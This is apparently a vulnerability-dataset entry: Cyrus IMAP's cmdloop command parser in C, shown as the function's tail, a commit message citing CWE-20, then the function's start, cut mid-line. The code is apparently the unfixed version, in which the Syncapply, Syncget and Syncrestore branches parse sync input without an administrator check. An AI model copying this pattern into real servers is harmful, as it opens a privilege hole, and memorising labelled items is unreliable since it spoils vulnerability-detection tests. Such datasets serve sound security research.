cmd_list(tag.s, &listargs); /* snmp_increment(LSUB_COUNT, 1); */ } #ifdef HAVE_SSL else if (!strcmp(cmd.s, "Resetkey")) { int have_mbox = 0, have_mech = 0; if (c == ' ') { have_mbox = 1; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == ' ') { have_mech = 1; c = getword(imapd_in, &arg2); } } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_resetkey(tag.s, have_mbox ? arg1.s : 0, have_mech ? arg2.s : 0); /* snmp_increment(RESETKEY_COUNT, 1);*/ } #endif else goto badcmd; break; case 'S': if (!strcmp(cmd.s, "Starttls")) { if (!tls_enabled()) { /* we don't support starttls */ goto badcmd; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; /* XXX discard any input pipelined after STARTTLS */ prot_flush(imapd_in); /* if we've already done SASL fail */ if (imapd_userid != NULL) { prot_printf(imapd_out, "%s BAD Can't Starttls after authentication\r\n", tag.s); continue; } /* if we've already done COMPRESS fail */ if (imapd_compress_done == 1) { prot_printf(imapd_out, "%s BAD Can't Starttls after Compress\r\n", tag.s); continue; } /* check if already did a successful tls */ if (imapd_starttls_done == 1) { prot_printf(imapd_out, "%s BAD Already did a successful Starttls\r\n", tag.s); continue; } cmd_starttls(tag.s, 0); snmp_increment(STARTTLS_COUNT, 1); continue; } if (!imapd_userid) { goto nologin; } else if (!strcmp(cmd.s, "Store")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; store: c = getword(imapd_in, &arg1); if (c != ' ' || !imparse_issequence(arg1.s)) goto badsequence; cmd_store(tag.s, arg1.s, usinguid); snmp_increment(STORE_COUNT, 1); } else if (!strcmp(cmd.s, "Select")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; prot_ungetc(c, imapd_in); cmd_select(tag.s, cmd.s, arg1.s); snmp_increment(SELECT_COUNT, 1); } else if (!strcmp(cmd.s, "Search")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; search: cmd_search(tag.s, usinguid); snmp_increment(SEARCH_COUNT, 1); } else if (!strcmp(cmd.s, "Subscribe")) { if (c != ' ') goto missingargs; havenamespace = 0; c = getastring(imapd_in, imapd_out, &arg1); if (c == ' ') { havenamespace = 1; c = getastring(imapd_in, imapd_out, &arg2); } if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; if (havenamespace) { cmd_changesub(tag.s, arg1.s, arg2.s, 1); } else { cmd_changesub(tag.s, (char *)0, arg1.s, 1); } snmp_increment(SUBSCRIBE_COUNT, 1); } else if (!strcmp(cmd.s, "Setacl")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg3); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_setacl(tag.s, arg1.s, arg2.s, arg3.s); snmp_increment(SETACL_COUNT, 1); } else if (!strcmp(cmd.s, "Setannotation")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; cmd_setannotation(tag.s, arg1.s); snmp_increment(SETANNOTATION_COUNT, 1); } else if (!strcmp(cmd.s, "Setmetadata")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; cmd_setmetadata(tag.s, arg1.s); snmp_increment(SETANNOTATION_COUNT, 1); } else if (!strcmp(cmd.s, "Setquota")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; cmd_setquota(tag.s, arg1.s); snmp_increment(SETQUOTA_COUNT, 1); } else if (!strcmp(cmd.s, "Sort")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; sort: cmd_sort(tag.s, usinguid); snmp_increment(SORT_COUNT, 1); } else if (!strcmp(cmd.s, "Status")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; cmd_status(tag.s, arg1.s); snmp_increment(STATUS_COUNT, 1); } else if (!strcmp(cmd.s, "Scan")) { struct listargs listargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg3); if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; memset(&listargs, 0, sizeof(struct listargs)); listargs.ref = arg1.s; strarray_append(&listargs.pat, arg2.s); listargs.scan = arg3.s; cmd_list(tag.s, &listargs); snmp_increment(SCAN_COUNT, 1); } else if (!strcmp(cmd.s, "Syncapply")) { struct dlist *kl = sync_parseline(imapd_in); if (kl) { cmd_syncapply(tag.s, kl, reserve_list); dlist_free(&kl); } else goto extraargs; } else if (!strcmp(cmd.s, "Syncget")) { struct dlist *kl = sync_parseline(imapd_in); if (kl) { cmd_syncget(tag.s, kl); dlist_free(&kl); } else goto extraargs; } else if (!strcmp(cmd.s, "Syncrestart")) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; /* just clear the GUID cache */ cmd_syncrestart(tag.s, &reserve_list, 1); } else if (!strcmp(cmd.s, "Syncrestore")) { struct dlist *kl = sync_parseline(imapd_in); if (kl) { cmd_syncrestore(tag.s, kl, reserve_list); dlist_free(&kl); } else goto extraargs; } else goto badcmd; break; case 'T': if (!strcmp(cmd.s, "Thread")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; thread: cmd_thread(tag.s, usinguid); snmp_increment(THREAD_COUNT, 1); } else goto badcmd; break; case 'U': if (!strcmp(cmd.s, "Uid")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 1; if (c != ' ') goto missingargs; c = getword(imapd_in, &arg1); if (c != ' ') goto missingargs; lcase(arg1.s); xstrncpy(cmdname, arg1.s, 99); if (!strcmp(arg1.s, "fetch")) { goto fetch; } else if (!strcmp(arg1.s, "store")) { goto store; } else if (!strcmp(arg1.s, "search")) { goto search; } else if (!strcmp(arg1.s, "sort")) { goto sort; } else if (!strcmp(arg1.s, "thread")) { goto thread; } else if (!strcmp(arg1.s, "copy")) { goto copy; } else if (!strcmp(arg1.s, "move")) { goto move; } else if (!strcmp(arg1.s, "xmove")) { goto move; } else if (!strcmp(arg1.s, "expunge")) { c = getword(imapd_in, &arg1); if (!imparse_issequence(arg1.s)) goto badsequence; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_expunge(tag.s, arg1.s); snmp_increment(EXPUNGE_COUNT, 1); } else if (!strcmp(arg1.s, "xrunannotator")) { goto xrunannotator; } else { prot_printf(imapd_out, "%s BAD Unrecognized UID subcommand\r\n", tag.s); eatline(imapd_in, c); } } else if (!strcmp(cmd.s, "Unsubscribe")) { if (c != ' ') goto missingargs; havenamespace = 0; c = getastring(imapd_in, imapd_out, &arg1); if (c == ' ') { havenamespace = 1; c = getastring(imapd_in, imapd_out, &arg2); } if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; if (havenamespace) { cmd_changesub(tag.s, arg1.s, arg2.s, 0); } else { cmd_changesub(tag.s, (char *)0, arg1.s, 0); } snmp_increment(UNSUBSCRIBE_COUNT, 1); } else if (!strcmp(cmd.s, "Unselect")) { if (!imapd_index && !backend_current) goto nomailbox; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_close(tag.s, cmd.s); snmp_increment(UNSELECT_COUNT, 1); } else if (!strcmp(cmd.s, "Undump")) { if(c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); /* we want to get a list at this point */ if(c != ' ') goto missingargs; cmd_undump(tag.s, arg1.s); /* snmp_increment(UNDUMP_COUNT, 1);*/ } #ifdef HAVE_SSL else if (!strcmp(cmd.s, "Urlfetch")) { if (c != ' ') goto missingargs; cmd_urlfetch(tag.s); /* snmp_increment(URLFETCH_COUNT, 1);*/ } #endif else goto badcmd; break; case 'X': if (!strcmp(cmd.s, "Xbackup")) { int havechannel = 0; if (!config_getswitch(IMAPOPT_XBACKUP_ENABLED)) goto badcmd; /* user */ if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); /* channel */ if (c == ' ') { havechannel = 1; c = getword(imapd_in, &arg2); if (c == EOF) goto missingargs; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_xbackup(tag.s, arg1.s, havechannel ? arg2.s : NULL); } else if (!strcmp(cmd.s, "Xconvfetch")) { cmd_xconvfetch(tag.s); } else if (!strcmp(cmd.s, "Xconvmultisort")) { if (c != ' ') goto missingargs; if (!imapd_index && !backend_current) goto nomailbox; cmd_xconvmultisort(tag.s); } else if (!strcmp(cmd.s, "Xconvsort")) { if (c != ' ') goto missingargs; if (!imapd_index && !backend_current) goto nomailbox; cmd_xconvsort(tag.s, 0); } else if (!strcmp(cmd.s, "Xconvupdates")) { if (c != ' ') goto missingargs; if (!imapd_index && !backend_current) goto nomailbox; cmd_xconvsort(tag.s, 1); } else if (!strcmp(cmd.s, "Xfer")) { int havepartition = 0; /* Mailbox */ if(c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); /* Dest Server */ if(c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if(c == ' ') { /* Dest Partition */ c = getastring(imapd_in, imapd_out, &arg3); if (!imparse_isatom(arg3.s)) goto badpartition; havepartition = 1; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_xfer(tag.s, arg1.s, arg2.s, (havepartition ? arg3.s : NULL)); /* snmp_increment(XFER_COUNT, 1);*/ } else if (!strcmp(cmd.s, "Xconvmeta")) { cmd_xconvmeta(tag.s); } else if (!strcmp(cmd.s, "Xlist")) { struct listargs listargs; if (c != ' ') goto missingargs; memset(&listargs, 0, sizeof(struct listargs)); listargs.cmd = LIST_CMD_XLIST; listargs.ret = LIST_RET_CHILDREN | LIST_RET_SPECIALUSE; getlistargs(tag.s, &listargs); if (listargs.pat.count) cmd_list(tag.s, &listargs); snmp_increment(LIST_COUNT, 1); } else if (!strcmp(cmd.s, "Xmove")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; goto move; } else if (!strcmp(cmd.s, "Xrunannotator")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; xrunannotator: c = getword(imapd_in, &arg1); if (!arg1.len || !imparse_issequence(arg1.s)) goto badsequence; cmd_xrunannotator(tag.s, arg1.s, usinguid); } else if (!strcmp(cmd.s, "Xsnippets")) { if (c != ' ') goto missingargs; if (!imapd_index && !backend_current) goto nomailbox; cmd_xsnippets(tag.s); } else if (!strcmp(cmd.s, "Xstats")) { cmd_xstats(tag.s, c); } else if (!strcmp(cmd.s, "Xwarmup")) { /* XWARMUP doesn't need a mailbox to be selected */ if (c != ' ') goto missingargs; cmd_xwarmup(tag.s); } else if (!strcmp(cmd.s, "Xkillmy")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_xkillmy(tag.s, arg1.s); } else if (!strcmp(cmd.s, "Xforever")) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_xforever(tag.s); } else if (!strcmp(cmd.s, "Xmeid")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_xmeid(tag.s, arg1.s); } else if (apns_enabled && !strcmp(cmd.s, "Xapplepushservice")) { if (c != ' ') goto missingargs; memset(&applepushserviceargs, 0, sizeof(struct applepushserviceargs)); do { c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto aps_missingargs; if (!strcmp(arg1.s, "mailboxes")) { c = prot_getc(imapd_in); if (c != '(') goto aps_missingargs; c = prot_getc(imapd_in); if (c != ')') { prot_ungetc(c, imapd_in); do { c = getastring(imapd_in, imapd_out, &arg2); if (c == EOF) break; strarray_push(&applepushserviceargs.mailboxes, arg2.s); } while (c == ' '); } if (c != ')') goto aps_missingargs; c = prot_getc(imapd_in); } else { c = getastring(imapd_in, imapd_out, &arg2); if (!strcmp(arg1.s, "aps-version")) { if (!imparse_isnumber(arg2.s)) goto aps_extraargs; applepushserviceargs.aps_version = atoi(arg2.s); } else if (!strcmp(arg1.s, "aps-account-id")) buf_copy(&applepushserviceargs.aps_account_id, &arg2); else if (!strcmp(arg1.s, "aps-device-token")) buf_copy(&applepushserviceargs.aps_device_token, &arg2); else if (!strcmp(arg1.s, "aps-subtopic")) buf_copy(&applepushserviceargs.aps_subtopic, &arg2); else goto aps_extraargs; } } while (c == ' '); if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto aps_extraargs; cmd_xapplepushservice(tag.s, &applepushserviceargs); } else goto badcmd; break; default: badcmd: prot_printf(imapd_out, "%s BAD Unrecognized command\r\n", tag.s); eatline(imapd_in, c); } /* End command timer - don't log "idle" commands */ if (commandmintimer && strcmp("idle", cmdname)) { double cmdtime, nettime; const char *mboxname = index_mboxname(imapd_index); if (!mboxname) mboxname = "<none>"; cmdtime_endtimer(&cmdtime, &nettime); if (cmdtime >= commandmintimerd) { syslog(LOG_NOTICE, "cmdtimer: '%s' '%s' '%s' '%f' '%f' '%f'", imapd_userid ? imapd_userid : "<none>", cmdname, mboxname, cmdtime, nettime, cmdtime + nettime); } } continue; nologin: prot_printf(imapd_out, "%s BAD Please login first\r\n", tag.s); eatline(imapd_in, c); continue; nomailbox: prot_printf(imapd_out, "%s BAD Please select a mailbox first\r\n", tag.s); eatline(imapd_in, c); continue; aps_missingargs: buf_free(&applepushserviceargs.aps_account_id); buf_free(&applepushserviceargs.aps_device_token); buf_free(&applepushserviceargs.aps_subtopic); strarray_fini(&applepushserviceargs.mailboxes); missingargs: prot_printf(imapd_out, "%s BAD Missing required argument to %s\r\n", tag.s, cmd.s); eatline(imapd_in, c); continue; aps_extraargs: buf_free(&applepushserviceargs.aps_account_id); buf_free(&applepushserviceargs.aps_device_token); buf_free(&applepushserviceargs.aps_subtopic); strarray_fini(&applepushserviceargs.mailboxes); extraargs: prot_printf(imapd_out, "%s BAD Unexpected extra arguments to %s\r\n", tag.s, cmd.s); eatline(imapd_in, c); continue; badsequence: prot_printf(imapd_out, "%s BAD Invalid sequence in %s\r\n", tag.s, cmd.s); eatline(imapd_in, c); continue; badpartition: prot_printf(imapd_out, "%s BAD Invalid partition name in %s\r\n", tag.s, cmd.s); eatline(imapd_in, c); continue; } done: cmd_syncrestart(NULL, &reserve_list, 0); } Commit Message: imapd: check for isadmin BEFORE parsing sync lines CWE ID: CWE-20
static void cmdloop(void) { int c; int usinguid, havepartition, havenamespace, recursive; static struct buf tag, cmd, arg1, arg2, arg3; char *p, shut[MAX_MAILBOX_PATH+1], cmdname[100]; const char *err; const char * commandmintimer; double commandmintimerd = 0.0; struct sync_reserve_list *reserve_list = sync_reserve_list_create(SYNC_MESSAGE_LIST_HASH_SIZE); struct applepushserviceargs applepushserviceargs; prot_printf(imapd_out, "* OK [CAPABILITY "); capa_response(CAPA_PREAUTH); prot_printf(imapd_out, "]"); if (config_serverinfo) prot_printf(imapd_out, " %s", config_servername); if (config_serverinfo == IMAP_ENUM_SERVERINFO_ON) { prot_printf(imapd_out, " Cyrus IMAP %s", cyrus_version()); } prot_printf(imapd_out, " server ready\r\n"); /* clear cancelled flag if present before the next command */ cmd_cancelled(); motd_file(); /* Get command timer logging paramater. This string * is a time in seconds. Any command that takes >= * this time to execute is logged */ commandmintimer = config_getstring(IMAPOPT_COMMANDMINTIMER); cmdtime_settimer(commandmintimer ? 1 : 0); if (commandmintimer) { commandmintimerd = atof(commandmintimer); } for (;;) { /* Release any held index */ index_release(imapd_index); /* Flush any buffered output */ prot_flush(imapd_out); if (backend_current) prot_flush(backend_current->out); /* command no longer running */ proc_register(config_ident, imapd_clienthost, imapd_userid, index_mboxname(imapd_index), NULL); /* Check for shutdown file */ if ( !imapd_userisadmin && imapd_userid && (shutdown_file(shut, sizeof(shut)) || userdeny(imapd_userid, config_ident, shut, sizeof(shut)))) { for (p = shut; *p == '['; p++); /* can't have [ be first char */ prot_printf(imapd_out, "* BYE [ALERT] %s\r\n", p); telemetry_rusage(imapd_userid); shut_down(0); } signals_poll(); if (!proxy_check_input(protin, imapd_in, imapd_out, backend_current ? backend_current->in : NULL, NULL, 0)) { /* No input from client */ continue; } /* Parse tag */ c = getword(imapd_in, &tag); if (c == EOF) { if ((err = prot_error(imapd_in))!=NULL && strcmp(err, PROT_EOF_STRING)) { syslog(LOG_WARNING, "%s, closing connection", err); prot_printf(imapd_out, "* BYE %s\r\n", err); } goto done; } if (c != ' ' || !imparse_isatom(tag.s) || (tag.s[0] == '*' && !tag.s[1])) { prot_printf(imapd_out, "* BAD Invalid tag\r\n"); eatline(imapd_in, c); continue; } /* Parse command name */ c = getword(imapd_in, &cmd); if (!cmd.s[0]) { prot_printf(imapd_out, "%s BAD Null command\r\n", tag.s); eatline(imapd_in, c); continue; } lcase(cmd.s); xstrncpy(cmdname, cmd.s, 99); cmd.s[0] = toupper((unsigned char) cmd.s[0]); if (config_getswitch(IMAPOPT_CHATTY)) syslog(LOG_NOTICE, "command: %s %s", tag.s, cmd.s); proc_register(config_ident, imapd_clienthost, imapd_userid, index_mboxname(imapd_index), cmd.s); /* if we need to force a kick, do so */ if (referral_kick) { kick_mupdate(); referral_kick = 0; } if (plaintextloginalert) { prot_printf(imapd_out, "* OK [ALERT] %s\r\n", plaintextloginalert); plaintextloginalert = NULL; } /* Only Authenticate/Enable/Login/Logout/Noop/Capability/Id/Starttls allowed when not logged in */ if (!imapd_userid && !strchr("AELNCIS", cmd.s[0])) goto nologin; /* Start command timer */ cmdtime_starttimer(); /* note that about half the commands (the common ones that don't hit the mailboxes file) now close the mailboxes file just in case it was open. */ switch (cmd.s[0]) { case 'A': if (!strcmp(cmd.s, "Authenticate")) { int haveinitresp = 0; if (c != ' ') goto missingargs; c = getword(imapd_in, &arg1); if (!imparse_isatom(arg1.s)) { prot_printf(imapd_out, "%s BAD Invalid authenticate mechanism\r\n", tag.s); eatline(imapd_in, c); continue; } if (c == ' ') { haveinitresp = 1; c = getword(imapd_in, &arg2); if (c == EOF) goto missingargs; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; if (imapd_userid) { prot_printf(imapd_out, "%s BAD Already authenticated\r\n", tag.s); continue; } cmd_authenticate(tag.s, arg1.s, haveinitresp ? arg2.s : NULL); snmp_increment(AUTHENTICATE_COUNT, 1); } else if (!imapd_userid) goto nologin; else if (!strcmp(cmd.s, "Append")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; cmd_append(tag.s, arg1.s, NULL); snmp_increment(APPEND_COUNT, 1); } else goto badcmd; break; case 'C': if (!strcmp(cmd.s, "Capability")) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_capability(tag.s); snmp_increment(CAPABILITY_COUNT, 1); } else if (!imapd_userid) goto nologin; #ifdef HAVE_ZLIB else if (!strcmp(cmd.s, "Compress")) { if (c != ' ') goto missingargs; c = getword(imapd_in, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_compress(tag.s, arg1.s); snmp_increment(COMPRESS_COUNT, 1); } #endif /* HAVE_ZLIB */ else if (!strcmp(cmd.s, "Check")) { if (!imapd_index && !backend_current) goto nomailbox; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_noop(tag.s, cmd.s); snmp_increment(CHECK_COUNT, 1); } else if (!strcmp(cmd.s, "Copy")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; copy: c = getword(imapd_in, &arg1); if (c == '\r') goto missingargs; if (c != ' ' || !imparse_issequence(arg1.s)) goto badsequence; c = getastring(imapd_in, imapd_out, &arg2); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_copy(tag.s, arg1.s, arg2.s, usinguid, /*ismove*/0); snmp_increment(COPY_COUNT, 1); } else if (!strcmp(cmd.s, "Create")) { struct dlist *extargs = NULL; if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == ' ') { c = parsecreateargs(&extargs); if (c == EOF) goto badpartition; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_create(tag.s, arg1.s, extargs, 0); dlist_free(&extargs); snmp_increment(CREATE_COUNT, 1); } else if (!strcmp(cmd.s, "Close")) { if (!imapd_index && !backend_current) goto nomailbox; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_close(tag.s, cmd.s); snmp_increment(CLOSE_COUNT, 1); } else goto badcmd; break; case 'D': if (!strcmp(cmd.s, "Delete")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_delete(tag.s, arg1.s, 0, 0); snmp_increment(DELETE_COUNT, 1); } else if (!strcmp(cmd.s, "Deleteacl")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_setacl(tag.s, arg1.s, arg2.s, NULL); snmp_increment(DELETEACL_COUNT, 1); } else if (!strcmp(cmd.s, "Dump")) { int uid_start = 0; if(c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if(c == ' ') { c = getastring(imapd_in, imapd_out, &arg2); if(!imparse_isnumber(arg2.s)) goto extraargs; uid_start = atoi(arg2.s); } if(c == '\r') c = prot_getc(imapd_in); if(c != '\n') goto extraargs; cmd_dump(tag.s, arg1.s, uid_start); /* snmp_increment(DUMP_COUNT, 1);*/ } else goto badcmd; break; case 'E': if (!imapd_userid) goto nologin; else if (!strcmp(cmd.s, "Enable")) { if (c != ' ') goto missingargs; cmd_enable(tag.s); } else if (!strcmp(cmd.s, "Expunge")) { if (!imapd_index && !backend_current) goto nomailbox; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_expunge(tag.s, 0); snmp_increment(EXPUNGE_COUNT, 1); } else if (!strcmp(cmd.s, "Examine")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; prot_ungetc(c, imapd_in); cmd_select(tag.s, cmd.s, arg1.s); snmp_increment(EXAMINE_COUNT, 1); } else goto badcmd; break; case 'F': if (!strcmp(cmd.s, "Fetch")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; fetch: c = getword(imapd_in, &arg1); if (c == '\r') goto missingargs; if (c != ' ' || !imparse_issequence(arg1.s)) goto badsequence; cmd_fetch(tag.s, arg1.s, usinguid); snmp_increment(FETCH_COUNT, 1); } else goto badcmd; break; case 'G': if (!strcmp(cmd.s, "Getacl")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_getacl(tag.s, arg1.s); snmp_increment(GETACL_COUNT, 1); } else if (!strcmp(cmd.s, "Getannotation")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; cmd_getannotation(tag.s, arg1.s); snmp_increment(GETANNOTATION_COUNT, 1); } else if (!strcmp(cmd.s, "Getmetadata")) { if (c != ' ') goto missingargs; cmd_getmetadata(tag.s); snmp_increment(GETANNOTATION_COUNT, 1); } else if (!strcmp(cmd.s, "Getquota")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_getquota(tag.s, arg1.s); snmp_increment(GETQUOTA_COUNT, 1); } else if (!strcmp(cmd.s, "Getquotaroot")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_getquotaroot(tag.s, arg1.s); snmp_increment(GETQUOTAROOT_COUNT, 1); } #ifdef HAVE_SSL else if (!strcmp(cmd.s, "Genurlauth")) { if (c != ' ') goto missingargs; cmd_genurlauth(tag.s); /* snmp_increment(GENURLAUTH_COUNT, 1);*/ } #endif else goto badcmd; break; case 'I': if (!strcmp(cmd.s, "Id")) { if (c != ' ') goto missingargs; cmd_id(tag.s); snmp_increment(ID_COUNT, 1); } else if (!imapd_userid) goto nologin; else if (!strcmp(cmd.s, "Idle") && idle_enabled()) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_idle(tag.s); snmp_increment(IDLE_COUNT, 1); } else goto badcmd; break; case 'L': if (!strcmp(cmd.s, "Login")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if(c != ' ') goto missingargs; cmd_login(tag.s, arg1.s); snmp_increment(LOGIN_COUNT, 1); } else if (!strcmp(cmd.s, "Logout")) { if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; snmp_increment(LOGOUT_COUNT, 1); /* force any responses from our selected backend */ if (backend_current) imapd_check(NULL, 0); prot_printf(imapd_out, "* BYE %s\r\n", error_message(IMAP_BYE_LOGOUT)); prot_printf(imapd_out, "%s OK %s\r\n", tag.s, error_message(IMAP_OK_COMPLETED)); if (imapd_userid && *imapd_userid) { telemetry_rusage(imapd_userid); } goto done; } else if (!imapd_userid) goto nologin; else if (!strcmp(cmd.s, "List")) { struct listargs listargs; if (c != ' ') goto missingargs; memset(&listargs, 0, sizeof(struct listargs)); listargs.ret = LIST_RET_CHILDREN; getlistargs(tag.s, &listargs); if (listargs.pat.count) cmd_list(tag.s, &listargs); snmp_increment(LIST_COUNT, 1); } else if (!strcmp(cmd.s, "Lsub")) { struct listargs listargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; memset(&listargs, 0, sizeof(struct listargs)); listargs.cmd = LIST_CMD_LSUB; listargs.sel = LIST_SEL_SUBSCRIBED; if (!strcasecmpsafe(imapd_magicplus, "+dav")) listargs.sel |= LIST_SEL_DAV; listargs.ref = arg1.s; strarray_append(&listargs.pat, arg2.s); cmd_list(tag.s, &listargs); snmp_increment(LSUB_COUNT, 1); } else if (!strcmp(cmd.s, "Listrights")) { c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_listrights(tag.s, arg1.s, arg2.s); snmp_increment(LISTRIGHTS_COUNT, 1); } else if (!strcmp(cmd.s, "Localappend")) { /* create a local-only mailbox */ if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg2); if (c != ' ') goto missingargs; cmd_append(tag.s, arg1.s, *arg2.s ? arg2.s : NULL); snmp_increment(APPEND_COUNT, 1); } else if (!strcmp(cmd.s, "Localcreate")) { /* create a local-only mailbox */ struct dlist *extargs = NULL; if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == ' ') { c = parsecreateargs(&extargs); if (c == EOF) goto badpartition; } if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_create(tag.s, arg1.s, extargs, 1); dlist_free(&extargs); /* xxxx snmp_increment(CREATE_COUNT, 1); */ } else if (!strcmp(cmd.s, "Localdelete")) { /* delete a mailbox locally only */ if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_delete(tag.s, arg1.s, 1, 1); /* xxxx snmp_increment(DELETE_COUNT, 1); */ } else goto badcmd; break; case 'M': if (!strcmp(cmd.s, "Myrights")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if (c == EOF) goto missingargs; if (c == '\r') c = prot_getc(imapd_in); if (c != '\n') goto extraargs; cmd_myrights(tag.s, arg1.s); /* xxxx snmp_increment(MYRIGHTS_COUNT, 1); */ } else if (!strcmp(cmd.s, "Mupdatepush")) { if (c != ' ') goto missingargs; c = getastring(imapd_in, imapd_out, &arg1); if(c == EOF) goto missingargs; if(c == '\r') c = prot_getc(imapd_in); if(c != '\n') goto extraargs; cmd_mupdatepush(tag.s, arg1.s); /* xxxx snmp_increment(MUPDATEPUSH_COUNT, 1); */ } else if (!strcmp(cmd.s, "Move")) { if (!imapd_index && !backend_current) goto nomailbox; usinguid = 0; if (c != ' ') goto missingargs; move: c = getword(imapd_in, 